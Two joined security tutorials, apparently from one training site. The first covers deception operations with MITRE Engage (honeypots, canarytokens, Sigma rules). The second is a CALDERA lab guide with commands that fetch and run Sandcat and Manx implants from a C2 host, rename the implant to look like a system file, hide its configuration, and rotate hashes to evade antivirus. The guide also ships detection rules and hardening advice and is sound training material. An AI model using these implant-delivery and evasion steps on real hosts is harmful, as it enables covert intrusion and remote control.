Hierarchy diagram of the MITRE Engage Matrix showing the five goal columns - Prepare, Expose, Affect, Elicit, Understand - with strategic bookends SAP0001 and SAP0002 and core engagement activities EAC0005, EAC0011, and EAC0003
The Engage Matrix flows left to right: strategic Prepare and Understand bookend the three engagement goals, each served by concrete EAC activities.

4. The 10-Step Process: Planning an Engagement Operation

The 10-Step Process is split into three categories that mirror the Matrix bookends: Prepare, Operate, Understand. It was adapted from Barton Whaley’s The Art and Science of Military Deception, which laid out a ten-step process for building military deceptions; MITRE refined it for the cyber domain.

The Prepare steps are where most first-timers fail, so they get the attention here:

  1. Define the operational objective. What decision does this operation inform? “Learn whether this actor is after our source code or our customer data” is an objective. “Catch bad guys” is not.
  2. Construct the engagement narrative. The story your environment tells. It must be consistent, coherent, and believable, and it must protect your most valuable real data.
  3. Design the engagement environment. Pick high- or low-interaction assets, decide network and application diversity, and plan the pocket litter.
  4. Identify stakeholders and define operational risk. Adversary engagement is a team sport. Loop in InfoSec and IT, and also Legal, HR, and Corporate Communications.
  5. Establish Rules of Engagement (RoE). Set RoE before the operation starts so there are no ambiguous decisions once it is underway. Define what is in scope, what triggers an abort, and hard boundaries such as “no real credentials, no reachability to production.”

The exit criteria deserve a callout. If your goal is to learn an actor’s intentions or harvest their full TTP set, you must have already planned a credible end to the attack path. Persona Creation and Storyboarding under SAP0001 exist precisely so the ending does not feel like a trap slamming shut.


5. Mapping Engage to ATT&CK: From Adversary TTP to Defensive Activity

This is the mechanism that makes Engage more than a wish list. When an adversary performs a specific behavior, they expose an unintended weakness. Walk each ATT&CK technique, ask what weakness it reveals, then pick the engagement activity that exploits that weakness. Every activity you deploy is justified by an observed adversary behavior rather than a hunch.

The canonical example from Engage’s own documentation:

  • The adversary performs Remote System Discovery (T1018). To discover systems, they must query the network and act on whatever answers.
  • That is the weakness. They will believe and act on false responses.
  • Deploy Lures (EAC0005) – decoy hosts that show up in their scan and pull them toward terrain you control.

MITRE mapped the three middle columns (Expose, Affect, Elicit) to ATT&CK and shifted the perspective to mark the moment the adversary becomes vulnerable and the defender gets an opportunity. Use the Engage Matrix Explorer at engage.mitre.org/matrix to filter by an ATT&CK technique ID and see which EAC activities apply. Build the ATT&CK side of the picture in ATT&CK Navigator so your target actor’s TTP profile and your chosen Engage activities sit side by side.


Flow diagram showing ATT&CK techniques T1018, T1135, and T1078 each revealing an adversary weakness that defenders exploit with EAC0005 Lures and EAC0011 Pocket Litter to produce high-fidelity alerts
Every Engage activity is justified by a specific adversary behavior: map the ATT&CK technique to the weakness it exposes, then select the EAC activity that exploits that weakness.

6. Deception Infrastructure: Honeypots, Lures, Pocket Litter, and Decoy Credentials

Choosing between a high-interaction and a low-interaction honeypot depends on your goal, the operation length, and the specific malware you expect. A low-interaction honeypot may be plenty to spot reconnaissance, but it will fail to hold up for prolonged threat intelligence collection because it cannot present a realistic enough environment. If you want to elicit advanced TTPs, you need interaction depth.

Where possible, move adversaries into an isolated engagement environment to observe them and gather CTI. That environment must be realistic enough to reassure them it is legitimate and interesting enough to motivate them to reveal more.

Believability engineering is the part everyone underrates. A war story: the first honeypot I stood up got zero hits for a month. When traffic finally arrived, the intruder left in seconds. The share was too clean. No user documents, no stale spreadsheets, no half-finished PowerPoint from someone in Accounting. Empty perfection screams trap. That is exactly why Pocket Litter (EAC0011) exists: some adversaries look around to confirm the environment is real before committing, so you do the work to make it look lived-in.

Two more infrastructure ideas from the brief worth internalizing:

  • Decoy credentials. Stand up decoy accounts with commonly used passwords to alert on brute-force attempts, and monitor for the use of those credentials anywhere else on the network. A decoy credential appearing in a logon event is about as high-fidelity as an alert gets.
  • Information manipulation. Decoys waste the adversary’s time; information manipulation feeds them false or misleading data such as fake design documents or schedules. This only works if the fake data fits the engagement narrative, so plan it as one coherent story.

A hard OPSEC rule: be selective about which vulnerable assets and configurations you expose. A network that is overly permissive or vulnerable is itself a red flag. EAC0018 (Security Controls) means a deliberately weakened control, like an unauthenticated Docker daemon, not a Swiss-cheese network.


7. Lab Exercise: Planning and Running a Mini Elicitation Operation

This is entirely defender-side. There is no exploit to write. The hands-on work is planning, deploying, and monitoring a deception engagement against a self-built lab, then analyzing what fired.

Lab Architecture

Everything runs on an isolated lab network with no route to production.

[ Kali Linux (simulated adversary) ] --> [ Lab LAN: 192.168.56.0/24 ]
        |
        v
[ Decoy Windows Server VM ]  -> honeypot, decoy SMB share, decoy AD credentials
[ Decoy Linux VM ]           -> SSH honeypot, deliberately open Docker daemon (EAC0018)
[ Monitoring VM ]            -> Sysmon + Winlogbeat + Elastic Stack / Splunk

Phase 1: Prepare (SAP0001 Planning)

Select an actor profile to emulate from ATT&CK CTI. For this run, a generic initial-access actor using T1078 (Valid Accounts), T1021.002 (SMB / Windows Admin Shares), and T1018 (Remote System Discovery).

  • Engagement Goal: Elicit – collect adversary TTPs in the lab.
  • Narrative (one page): “A small accounting firm’s internal Windows file server, lightly defended, with accessible SMB shares.”
  • RoE: all activity contained to the isolated lab VLAN; no real credentials anywhere.
  • Selected activities: EAC0005 (Lures), EAC0006 (Application Diversity), EAC0011 (Pocket Litter), EAC0003 (System Activity Monitoring).

Phase 2: Operate

Deploy OpenCanary on the Decoy Linux VM to stand up low-interaction lures (EAC0005):

pip install opencanary
opencanaryd --copyconfig      # edit opencanary.conf to enable SMB, HTTP, SSH modules
opencanaryd --start

Generate pocket litter (EAC0011) at canarytokens.org. Create a Word document canarytoken and drop it into a fake \\FILESERVER\Finance SMB share so any open of the file phones home:

# canarytokens.org -> select "Microsoft Word document"
# save as: Finance_Q3_Payroll.docx
# copy into the decoy share content

Create a decoy AD service account with a weak password and add it to the engagement environment. This is your intentional EAC0018 weakening, scoped only to the decoy:

New-ADUser -Name "svc_backup" -SamAccountName "svc_backup" `
    -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
    -Enabled $true -Description "Backup service account"

Enable Sysmon on the decoy Windows VM using a SwiftOnSecurity-style config for EAC0003 monitoring:

.\Sysmon64.exe -accepteula -i sysmonconfig.xml

Watch for Event ID 1 (process creation), Event ID 3 (network connection), and Event ID 11 (file creation).

Now play the adversary from the Kali VM, executing the emulated TTPs:

nmap -sV 192.168.56.0/24               # T1018 Remote System Discovery
smbclient -L //192.168.56.10 -N        # T1135 Network Share Discovery
smbclient //192.168.56.10/Finance -N   # opens the share; triggers canarytoken on doc access

Phase 3: Understand (SAP0002 Analysis)

Pull the OpenCanary alerts. Each triggered canary writes a JSON record:

{
  "dst_host": "192.168.56.20",
  "dst_port": 445,
  "logtype": 5000,
  "logdata": {"SMB_USER": "", "SMB_SHARE": "Finance"},
  "src_host": "192.168.56.50",
  "utc_time": "2024-06-11 14:22:08.113"
}

Correlate the Sysmon and Windows Security events into the TTP chain. A share touch on the decoy produces a 5140 (network share object accessed), which for a share never advertised to real users is effectively a zero-false-positive alert. The canarytoken open shows up as a Sysmon Event ID 11 file access under WINWORD.EXE.

Record which EAC activities fired, which TTPs were revealed, and what new intel you gained, then feed that into the next operation’s Prepare phase. Build an ATT&CK Navigator layer marking T1018, T1135, and T1078 as detected by the engagement so the coverage is visible at a glance.


8. Operational Mindset: Iterative Engagement and CTI Feedback Loops

One operation is a data point. The value compounds when each Understand phase seeds the next Prepare phase. That loop is how you shift from CVE-driven defense (patch the thing, wait for the next thing) to TTP-driven defense (understand how this actor works and shape terrain against their behavior).

This is exactly why Engage bookends the deception techniques with Planning and Analysis where Shield did not. The Analysis output is not a report that dies in a wiki. It becomes tuned Sigma rules, refined narratives, better pocket litter, and a sharper actor persona for the next run. Two IOCs per operation becomes forty pieces of usable intel because you are running a program, not a one-off.


A möbius conveyor belt illustrating the iterative cycle of plan, operate, and analyze phases feeding back into each other for continuous adversary engagement improvement
Each Understand phase seeds the next Prepare phase – the feedback loop is what transforms two IOCs per operation into forty pieces of actionable intelligence.

9. Detection and Defense Integration

Because Engage is the defensive framework, “detection” here means the instrumentation you place on your decoy assets to capture adversary behavior, plus the OPSEC that keeps the deception itself safe.

Sysmon Event IDs on Decoy Hosts

Event IDEventRelevance in Engage Context
1Process CreateAdversary runs tools on the decoy host
3Network ConnectionAdversary connects to decoy services; pivot detection
7Image LoadedDLL loads fingerprint the adversary’s tooling
11File CreatedCanarytoken document opened; file dropped on decoy
13Registry Value SetPersistence attempt on the decoy
22DNS QueryC2 DNS beaconing observed from the honeypot

Windows Security Event IDs (via auditpol)

Turn on the audit subcategories on the decoy so credential and share activity is captured:

auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"File System" /success:enable /failure:enable
auditpol /set /subcategory:"Detailed File Share" /success:enable
auditpol /set /subcategory:"Process Creation" /success:enable

The high-value IDs: 4624 (successful logon with a decoy account is an instant high-fidelity alert), 4625 (brute force against decoys), 4648 (explicit-credential logon, lateral movement with decoy creds), 4663 (file object accessed), and 5140/5145 (decoy share access).

Relevant ETW Providers

ProviderGUIDUse
Microsoft-Windows-Security-Auditing{54849625-5478-4994-A5BA-3E3B0328C30D}Decoy-account logon events (4624/4625)
Microsoft-Windows-Sysmon{5770385F-C22A-43E0-BF4C-06F5698FFBD9}All Sysmon telemetry from the honeypot
Microsoft-Windows-SMBClient{988C59C5-0A1C-45B6-A555-0C62276E327D}SMB access to decoy shares

Sigma Rules for Decoy Interaction

title: Decoy SMB Share Access Detected
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 5140
        ShareName: '\\*\Finance_Decoy'
    condition: selection
falsepositives:
    - None expected (decoy share not advertised to legitimate users)
level: critical
tags:
    - engage.eac0005
title: Canarytoken Pocket Litter Document Opened
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11
        TargetFilename|contains: 'Finance_Q'
        TargetFilename|endswith: '.docx'
        Image|endswith: '\WINWORD.EXE'
    condition: selection
level: high
tags:
    - engage.eac0011

OPSEC for the Deception Environment

  • Deception assets must not be reachable from production. Enforce strict VLAN isolation.
  • Do not over-weaken. An overly permissive or vulnerable network is a red flag to a competent adversary.
  • Invest in pocket litter. Empty realism is a giveaway.
  • Brief non-obvious stakeholders early: Legal, HR, and Corporate Communications, not just InfoSec and IT.
  • Engage the terrain, never the adversary’s infrastructure. No hack-back.

10. Tools for Adversary Engagement

ToolDescriptionLink
MITRE Engage Matrix ExplorerSelect and document EAC activities, filter by ATT&CK IDengage.mitre.org
ATT&CK NavigatorVisualize the emulated actor TTP profile and mapped Engage activitiesmitre-attack.github.io
OpenCanaryPython low-interaction honeypot (SMB, HTTP, SSH, FTP, Telnet) for luresthinkst.com
CanarytokensHoneytoken generation for pocket litter (docs, URLs, creds)canarytokens.org
SysmonSystem activity monitoring on decoy Windows hostssysinternals.com
Wireshark / tcpdumpNetwork-level interaction loggingwireshark.org
Elastic Stack / SplunkAggregate and correlate decoy telemetryelastic.co

11. MITRE ATT&CK Mapping

ATT&CK IDTechniqueEngage Counter-Activity / Signal
T1018Remote System DiscoveryEAC0005 Lures (decoy hosts appear in scans)
T1135Network Share DiscoveryEAC0005 Lures, EAC0006 Application Diversity
T1078Valid AccountsDecoy credentials, 4648/4624 on use
T1021.002SMB / Windows Admin SharesEAC0003, Event ID 5140/5145
T1083File and Directory DiscoveryEAC0011 Pocket Litter (canarytoken on access)
T1071Application Layer Protocol (C2)EAC0003, Sysmon Event 22 DNS query
T1560Archive Collected DataObserved during Elicit-phase operations
T1005Data from Local SystemElicitation via manipulated/fake data

Summary

  • MITRE Engage turns inevitable compromise into leverage by pairing denial and deception inside strategic planning and analysis to drive up adversary cost and drive down adversary value.
  • The Engage Matrix runs Prepare, Expose, Affect, Elicit, Understand, with everything ID-tagged under the SGO/EGO/SAP/EAP/SAC/EAC scheme; SAP0001 (Planning) and SAP0002 (Analysis) are the bookends Shield lacked.
  • The 10-Step Process (Prepare, Operate, Understand) forces objectives, narrative, stakeholders, RoE, and exit criteria before a single lure goes live.
  • Map ATT&CK behavior to weakness to activity: T1018 discovery becomes an opportunity to plant EAC0005 Lures, so every deception is justified by observed adversary behavior.
  • Instrument decoys with Sysmon (Event IDs 1, 3, 11, 22) and Windows auditing (5140, 4624, 4648) for zero-false-positive, high-fidelity alerts, keep the environment isolated and believable, and engage the terrain, never hack back.

Related Tutorials

References

CALDERA Plugin Ecosystem: Sandcat, Manx, Response, and Custom Plugin Development

Out of the box, CALDERA is mostly scaffolding. The C2 loop, the operation engine, the fact store, the planners: all of that is real, but the parts you actually operate against a range live in plugins. Sandcat gives you the implant. Manx gives you a hands-on-keyboard reverse shell. Response flips the whole thing into a blue-team responder. And the plugin contract itself is small enough that you can bolt on your own REST endpoint and ability set in an afternoon.

This walkthrough builds all three agents against an isolated lab, dissects the plugin loading mechanism, and ends with a working purple-team plugin you compile and load yourself. Every command runs against gear you own.

Lab: CALDERA server on Ubuntu/Kali at 192.168.56.10:8888, a Windows 10 VM target at 192.168.56.20, no internet routing, Defender disabled on the target for clarity. Everything below is LAB USE ONLY - run only on systems you own and control. Run CALDERA v5.1.0 or newer (that matters, and I explain why in the Manx section).


1. CALDERA Architecture Primer

CALDERA splits cleanly into a core system and plugins. The core boots from server.py, which walks the plugins directory and hooks each enabled plugin into the running aiohttp application.

Two files govern loading:

FileRole
conf/default.yml / conf/local.ymlLists which plugins load at boot. A plugin listed in local.yml is loaded every time the server starts.
plugins/<name>/hook.pyPer-plugin entry point. Exposes an initialize(services) function that server.py calls automatically for each loaded plugin at boot.

The single argument passed to every hook is services, a dict of core services that live inside the core system. Those services (in app/services/) are the only safe surface a plugin should touch. The rule I hammer on with anyone writing a plugin: use the public functions on the services, never import core modules directly, because core internals change between releases and your plugin breaks on the next git pull.

The other vocabulary you need before deploying anything:

ConceptDefinition
AgentAn implant that beacons to the C2 and executes instructions (Sandcat, Manx).
AbilityA single ATT&CK-mapped command with executors, parsers, and cleanup.
AdversaryAn ordered list of abilities under atomic_ordering, plus an optional objective.
OperationAn adversary run against an agent group by a planner.
FactA key/value the operation collects (for example host.user.name) and reuses.
PlannerLogic deciding which ability runs next. The default atomic planner (app/atomic.py in stockpile) sends one ability at a time to each agent in the group, in atomic_ordering sequence.

Commands can carry variables written as #{variable}. Before execution, CALDERA searches the command for these and substitutes collected fact values. Two special ability categories matter operationally: Bootstrap abilities run immediately after an agent’s first beacon, and Deadman abilities run just before an agent terminates gracefully.


Hierarchy diagram showing CALDERA server.py reading conf/local.yml and calling each plugin's hook.py initialize function with the shared services dictionary
Every plugin receives the same services dict at boot; the hook.py contract is the only interface between plugin and core.

2. Sandcat Deep Dive: The Default Agent

Sandcat (internally 54ndc47) is CALDERA’s default implant, written in Golang for cross-platform builds against Windows, Linux, and macOS. It beacons on an interval, pulls instructions, executes, and returns results plus an exit_code field the server uses for link status.

The source tree matters:

PathContents
plugins/sandcat/gocat/Core agent code, all basic features.
plugins/sandcat/gocat/sandcat.goMain file with hardcodable defaults such as the server variable.
plugins/sandcat/gocat-extensions/Optional modules compiled in on request.
plugins/sandcat/hook.pyHandles payload compilation callbacks.

Dynamic recompilation is the feature that earns Sandcat its keep. If a compatible Golang toolchain is installed on the server, CALDERA compiles a fresh binary at download time. Every build produces a new file hash, which defeats naive hash-based signatures, and it lets you bake C2 values or extensions in at compile time. The precompiled binaries shipped in the plugin only carry basic features and, being public on GitHub, get flagged by AV more readily. Compile fresh.

You drive the compilation with HTTP headers when you request the binary. This is the trick that keeps your server URL and group out of the process command line and off the process tree.

Pull a Windows binary from Kali with an embedded server, group, and two extensions:

# LAB USE ONLY - Kali host, 192.168.56.10
curl -sk -X POST \
  -H 'file:sandcat.go' \
  -H 'platform:windows' \
  -H 'server:http://192.168.56.10:8888' \
  -H 'group:redteam' \
  -H 'gocat-extensions:proxy_http,shells' \
  http://192.168.56.10:8888/file/download \
  -o sandcat.exe

If you want to build by hand from the source tree, the cross-compile is a one-liner. The -ldflags="-s -w" strips the symbol table and debug info to shrink the binary:

# LAB USE ONLY - on the CALDERA server
cd plugins/sandcat/gocat
GOOS=windows GOARCH=amd64 go build \
  -o ../payloads/sandcat.go-windows \
  -ldflags="-s -w" sandcat.go

Swap GOOS=linux or GOOS=darwin for the other targets.

Runtime behaviour is controlled by CLI flags when you invoke the binary directly: -server <URL>, -group <name>, -v for verbose, and -originLinkID <link_id> for lateral movement tracking (more on that shortly). Executors available in the default deployment: Windows uses psh (PowerShell) or cmd, Linux and macOS use sh. There is also a proc executor that spawns a process directly from an executable path and arguments rather than routing through a shell interpreter, which changes the process ancestry a defender sees.

Sandcat can also run as a DLL via rundll32, calling the exported VoidFunc function or a custom-named export like MyFunc. Payloads served by the server can be stored plain or XOR-encoded so server-side AV does not eat them; run app/utility/payload_encoder.py against a file to produce the encoded version.

Deliver the binary on the Windows target with the same header trick, so no -server flag ever shows in the command line:

# LAB USE ONLY - Windows VM target, 192.168.56.20
$url = "http://192.168.56.10:8888/file/download"
$headers = @{
    'file'     = 'sandcat.go'
    'platform' = 'windows'
    'server'   = 'http://192.168.56.10:8888'
    'group'    = 'redteam'
}
Invoke-WebRequest -Uri $url -Headers $headers -OutFile "$env:TEMP\svc_host.exe"
Start-Process "$env:TEMP\svc_host.exe"

Within a beacon interval the agent shows up under Campaigns then Agents in the web UI at http://192.168.56.10:8888.


3. Sandcat Extensions and P2P Chaining

The gocat-extensions system is how you keep the base agent small and add capability on demand. You request extensions through the gocat-extensions header at compile time. The ones worth knowing:

ExtensionCapability
shellsAdds osascript (macOS) and pwsh (PowerShell Core) executors.
shellcodeShellcode execution primitives.
proxy_httpHTTP peer-to-peer proxy receiver.
proxy_smb_pipeSMB named-pipe P2P proxy for Windows.
donutExecutes .NET assemblies in memory via TheWover/donut.
sharedC sharing functionality.

P2P chaining is the reason proxy_http exists. An agent compiled with listenP2P:true opens a proxy receiver; a second agent on a segment that cannot reach the C2 directly beacons to that first agent, which relays traffic to the server. You build the chain: internal agent, then proxy agent, then CALDERA server. On a segmented range this is how you reach hosts with no route to 192.168.56.10.

Lateral movement tracking ties the graph together. When one link spawns a new agent, CALDERA passes the spawning link’s ID via -originLinkID. On check-in the agent returns it as origin_link_id in its JSON profile, so the operation graph knows which action produced which agent. Without that argument, a spawned agent looks orphaned.

Enable a P2P-capable Windows build with the SMB pipe proxy and donut:

# LAB USE ONLY
curl -sk -X POST \
  -H 'file:sandcat.go' \
  -H 'platform:windows' \
  -H 'server:http://192.168.56.10:8888' \
  -H 'group:redteam' \
  -H 'gocat-extensions:proxy_smb_pipe,donut,shells' \
  -H 'listenP2P:true' \
  -H 'architecture:amd64' \
  http://192.168.56.10:8888/file/download \
  -o sandcat_p2p.exe

Sandcat’s default contact is HTTP on 8888, but the contact layer supports http, tcp, udp, websocket, gist (GitHub), and dns. Each contact is an independent Python module registered with the contact_svc at server start.


Flow diagram showing CALDERA server communicating with a pivot agent over HTTP which relays tasking to an internal agent over SMB named pipe, with origin link ID tracking the spawn relationship
The proxy_smb_pipe extension lets a segmented agent beacon through a pivot; origin_link_id stitches the spawned agent into the operation graph.

4. Manx: TCP Reverse-Shell Agent

Manx is the plugin you reach for when you want hands-on-keyboard, not autonomy. It supplies shell access into CALDERA plus reverse-shell payloads for entering and exiting agents manually. The defining difference from Sandcat: Manx communicates over the TCP contact, not HTTP.

Loading the plugin (it also ships as the terminal plugin) surfaces a new Terminal GUI page. From there you drop reverse shells on target hosts and drive sessions through a built-in terminal emulator. Manx handles long-running commands cleanly, which is the practical win over shoving a shell through an autonomous agent.

Deploy a Manx payload on the Windows target. CALDERA generates the delivery command for you from the Terminal page; here is the equivalent, showing what it does:

# LAB USE ONLY - Windows VM target
$url = "http://192.168.56.10:8888/file/download"
$headers = @{ 'file' = 'manx.go'; 'platform' = 'windows'; 'server' = '192.168.56.10' }
Invoke-WebRequest -Uri $url -Headers $headers -OutFile "$env:TEMP\manx.exe"
Start-Process "$env:TEMP\manx.exe"
# Session appears in the CALDERA Terminal GUI for interactive use

Now the security note you cannot skip. CVE-2025-27364 is an unauthenticated RCE that lives in exactly the dynamic compilation functionality both Manx and Sandcat use. The agent download endpoint accepts options like communication method, keys, and C2 address through HTTP headers, then compiles the agent on the fly and passes those values in via ldflags. That injection path allowed unauthenticated remote code execution on the CALDERA server itself. It is patched: MITRE fixed it in the Master branch and v5.1.0+. Run the latest version in your lab and never expose port 8888 to an untrusted network. This is the single strongest argument for treating the CALDERA server as a sensitive asset, not a throwaway box.


5. The Response Plugin: Autonomous IR

Response is CALDERA pointed at the defender’s side of the table. It is an autonomous incident response plugin that fights back against adversaries on a compromised host. Structurally it mirrors Stockpile: it ships adversaries, abilities, and fact sources, all loaded from plugins/response/data/*, but the tactics are IR actions rather than offense.

Operationally you run it as a blue-team operation triggered by detected adversary activity, and you can pair it with the GameBoard plugin for red-versus-blue scoring. Its ability YAMLs use the identical schema to Stockpile: id, name, description, tactic, technique, platforms, executors, cleanup, parsers.

Here is a fact-driven IR ability that kills a process flagged by detection. Drop it in plugins/response/data/abilities/incident-response/:

---
# LAB USE ONLY
- id: b9c0d1e2-0010-0020-0030-000000000002
  name: Kill suspicious process by name
  description: Terminates a process flagged by detection (fact-driven)
  tactic: incident-response
  technique:
    attack_id: T1489
    name: Service Stop
  platforms:
    windows:
      psh:
        command: Stop-Process -Name #{host.process.name} -Force
    linux:
      sh:
        command: pkill -f #{host.process.name}

The #{host.process.name} variable is populated by a detection fact source. Wire this into an operation and Response will terminate the offending process autonomously, which is a clean demonstration of the whole fact-substitution loop working defensively.


6. Stockpile and the Ability YAML Schema

Stockpile is the core repository of abilities, adversaries, planners, and facts, all loaded through plugins/stockpile/data/*. Most adversary profiles live in plugins/stockpile/data/adversaries, and profiles you build in the UI land in data/adversaries too. The atomic planner sits at app/atomic.py; a bucket-style example planner sits at app/buckets.py.

Ability YAML is the format you will write most. A discovery ability with a parser that harvests usernames into facts, placed in plugins/stockpile/data/abilities/discovery/:

---
# LAB USE ONLY
- id: a1b2c3d4-0001-0002-0003-000000000001
  name: Enumerate local users
  description: Lists local user accounts on the target
  tactic: discovery
  technique:
    attack_id: T1087.001
    name: Local Account
  platforms:
    windows:
      psh:
        command: Get-LocalUser | Select-Object Name,Enabled | ConvertTo-Csv -NoTypeInformation
        parsers:
          plugins.stockpile.app.parsers.csv:
            - source: host.user.name
        linux:
      sh:
        command: "cat /etc/passwd | cut -d: -f1"

The parsers block is what turns raw stdout into reusable facts. The CSV parser here writes each result into host.user.name, which a downstream ability can pull via #{host.user.name}. Adversary profiles then reference abilities by ID under atomic_ordering, and that list is exactly the run order.


7. Custom Plugin Development: Step-by-Step

A plugin can be almost anything: a RAT like Sandcat, a new GUI, or a private collection of abilities you keep closed-source. The Skeleton plugin scaffolds one:

# LAB USE ONLY - from the skeleton plugin directory
python plugin-init.py

That produces the directory layout. The contract is hook.py with an async entry function that receives services. Below is a minimal viable hook that registers a REST GET endpoint and loads abilities from the plugin’s own data/ directory:

# LAB USE ONLY - plugins/myrecon/hook.py
from aiohttp import web
from app.utility.base_world import BaseWorld

name = 'myrecon'
description = 'Custom recon plugin for GenXCyber lab'
address = '/plugin/myrecon/gui'

async def enable(services):
    app = services.get('app_svc').application
    # Register a REST endpoint
    app.router.add_route('GET', '/api/myrecon/hosts', ReconApi(services).get_hosts)
    # Load plugin data (abilities, adversaries, facts)
    data_svc = services.get('data_svc')
    await data_svc.load_data(directory='plugins/myrecon/data')

class ReconApi:
    def __init__(self, services):
        self.services = services

    async def get_hosts(self, request):
        agents = await self.services.get('data_svc').locate('agents')
        host_list = [{'host': a.host, 'paw': a.paw, 'group': a.group} for a in agents]
        return web.json_response(host_list)

Notice the discipline: it pulls app_svc and data_svc from the services dict and calls only public functions like locate. No core imports beyond base_world. A Jinja2 template at plugins/myrecon/templates/myrecon.html surfaces a navigation tab automatically. Any Markdown or reStructuredText in plugins/myrecon/docs/ shows up in the docs generated by the fieldmanual plugin.

Add - myrecon to conf/local.yml, then restart with a clean object store so stale state does not confuse you:

# LAB USE ONLY
python server.py --fresh

Hit http://192.168.56.10:8888/api/myrecon/hosts and you get JSON of every checked-in agent. That is the entire plugin loop: hook, service, endpoint, data.


Illustration of a custom plugin module being inserted into a larger system panel, representing custom plugin development in CALDERA
A CALDERA plugin is a hook.py file and a data directory – the entire contract fits in an afternoon.

8. Lab Exercise: Build a Purple-Team Plugin

Chain everything into one purple-team flow: deploy a Sandcat agent, collect a recon fact, expose it over a custom endpoint, then trigger a Response IR ability against the agent.

StepActionTool / Command
1. ReconConfirm target reachable and C2 port openping 192.168.56.20; nc -zv 192.168.56.20 8888
2. Compile agentHeader-based dynamic compilecurl on Kali (Section 2 block)
3. Deploy agentPowerShell delivery, headers hide configPowerShell on Windows VM
4. Confirm check-inCampaigns then AgentsBrowser to http://192.168.56.10:8888
5. Build adversaryProfile with atomic_ordering referencing the discovery abilityGUI or YAML in plugins/stockpile/data/adversaries/
6. Run operationLaunch against redteam groupOperations page
7. Inspect resultsReview links, collected facts, parsed host.user.nameOperations then links
8. Deploy ManxDrop a TCP reverse shell for interactive workPowerShell; Terminal plugin
9. Trigger ResponseRun the auto-kill IR ability against the agent processResponse ability (Section 5 block)
10. Load custom pluginScaffold, add hook.py, restart cleanpython plugin-init.py; python server.py --fresh

Run it in order once and the pieces snap together. The gotcha that cost me time the first pass: I forgot --fresh after editing the plugin’s data/ directory, so CALDERA kept serving abilities from the old object store and my new ability never appeared. Flush the store whenever you touch plugin data.


9. Common Attacker Techniques

TechniqueDescription
Header-based config hidingPassing server, group via HTTP headers so no CLI args appear in the process tree.
Hash rotation via recompileEvery dynamic build has a fresh hash, defeating static signatures.
P2P relay chainingproxy_http / proxy_smb_pipe reach segmented hosts through a pivot agent.
In-memory executiondonut and shellcode extensions run assemblies without touching disk.
DLL executionrundll32 calling VoidFunc to blend agent launch into a signed LOLBIN.
Manual TCP shellManx reverse shell over TCP for interactive, long-running commands.

10. Defensive Strategies & Detection

Sysmon carries most of the load:

Event IDWhat it catches
1 Process CreateAgent execution; anomalous names spawned from powershell.exe / cmd.exe; parent-child anomalies.
3 Network ConnectionBeaconing to 8888/tcp (HTTP) or configured ports; Manx TCP reverse-shell connections.
7 Image LoadDLL-mode Sandcat via rundll32.exe; unsigned DLLs loaded from %TEMP%.
10 Process Accessshellcode / donut abilities accessing other process memory.
11 File CreateAgent binary dropped to %TEMP% or C:\Users\Public\.
22 DNS QueryDNS-contact mode: unusual queries from agent processes.
23 File DeleteDeadman ability deleting the agent executable (ability 5f844ac9-5f24-4196-a70d-17f0bd44a934).

A network Sigma sketch for the HTTP beacon:

title: CALDERA Sandcat C2 Beacon
status: experimental
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        EventID: 3
        DestinationPort:
            - 8888
            - 443
            - 53
        Initiated: 'true'
    filter_legitimate:
        Image|contains:
            - 'chrome.exe'
            - 'firefox.exe'
    condition: selection and not filter_legitimate
fields:
    - Image
    - DestinationIp
    - DestinationPort
    - User

And the dropped-binary file event:

title: CALDERA Agent Binary Drop
logsource:
    category: file_event
    product: windows
detection:
    selection:
        EventID: 11
        TargetFilename|contains:
            - '\Users\Public\'
            - '\Temp\'
        TargetFilename|endswith:
            - '.exe'
            - '.bin'
    condition: selection

Beyond Sysmon: enable Process Creation auditing (Security 4688 with command-line logging) to capture -server / -group when operators forget the header trick, and turn on PowerShell Script Block Logging (HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging set EnableScriptBlockLogging = 1) to catch the Invoke-WebRequest delivery. Useful ETW providers: Microsoft-Windows-WinInet (HTTP C2), Microsoft-Windows-DNS-Client (DNS contact), Microsoft-Windows-Kernel-Process, and Microsoft-Windows-PowerShell. On the wire, a Corelight/Zeek detector script for CALDERA exists (github.com/corelight); at the proxy, alert on low-jitter HTTP POSTs to 8888 carrying small application/json bodies, and flag the file:sandcat.go header on ingress to any server during compilation requests.

Hardening for your own CALDERA box: isolate it on a VLAN with no internet route, front it with the ssl plugin, restrict 8888/tcp with lab-only ACLs, enable API key authentication, and stay on v5.1.0+ to keep CVE-2025-27364 closed. Score your blue team’s coverage with the GameBoard plugin, which tracks true/false positives and negatives across simultaneous red and blue operations.


Graph diagram mapping five Sysmon event IDs to the specific CALDERA agent behaviors they detect, including beaconing, DLL loading, binary drops, and self-deletion
Sysmon events 1, 3, 7, 11, and 23 collectively cover the full agent lifecycle from delivery through deadman cleanup.

11. Tools for CALDERA Analysis

ToolDescriptionLink
SysmonProcess, network, file, and image-load telemetrylearn.microsoft.com
ZeekNetwork detection, CALDERA-specific detector scriptzeek.org
SigmaPortable detection rules for the beacon and dropgithub.com
GameBoard pluginRed-vs-blue scoring of detection coveragegithub.com/mitre
Process HackerInspect agent process ancestry and loaded modulesprocesshacker.sourceforge.io
WiresharkConfirm beacon cadence and header artifactswireshark.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Local Account discoveryT1087.001Sysmon 1 + Script Block Logging on Get-LocalUser
Application Layer Protocol: WebT1071.001Sysmon 3 to 8888; WinInet ETW
Ingress Tool TransferT1105Sysmon 11 binary drop to %TEMP% / Public
System Binary Proxy: Rundll32T1218.011Sysmon 7 unsigned DLL via rundll32.exe
Proxy: Internal (P2P)T1090.001Internal-only connections to pivot agent
Service Stop (Response IR)T1489Security 4688 on Stop-Process

Summary

  • CALDERA’s power lives in its plugins; the core just loads each one through its hook.py initialize(services) contract listed in local.yml.
  • Sandcat is the Golang default implant: dynamic recompilation rotates its hash, header-based config keeps server and group off the process tree, and gocat-extensions add P2P and in-memory execution on demand.
  • Manx is the TCP reverse-shell agent driven from the Terminal GUI; run v5.1.0+ because the compilation endpoint carried CVE-2025-27364.
  • Response reuses the Stockpile ability schema to fight back autonomously, and GameBoard scores it against red-team activity.
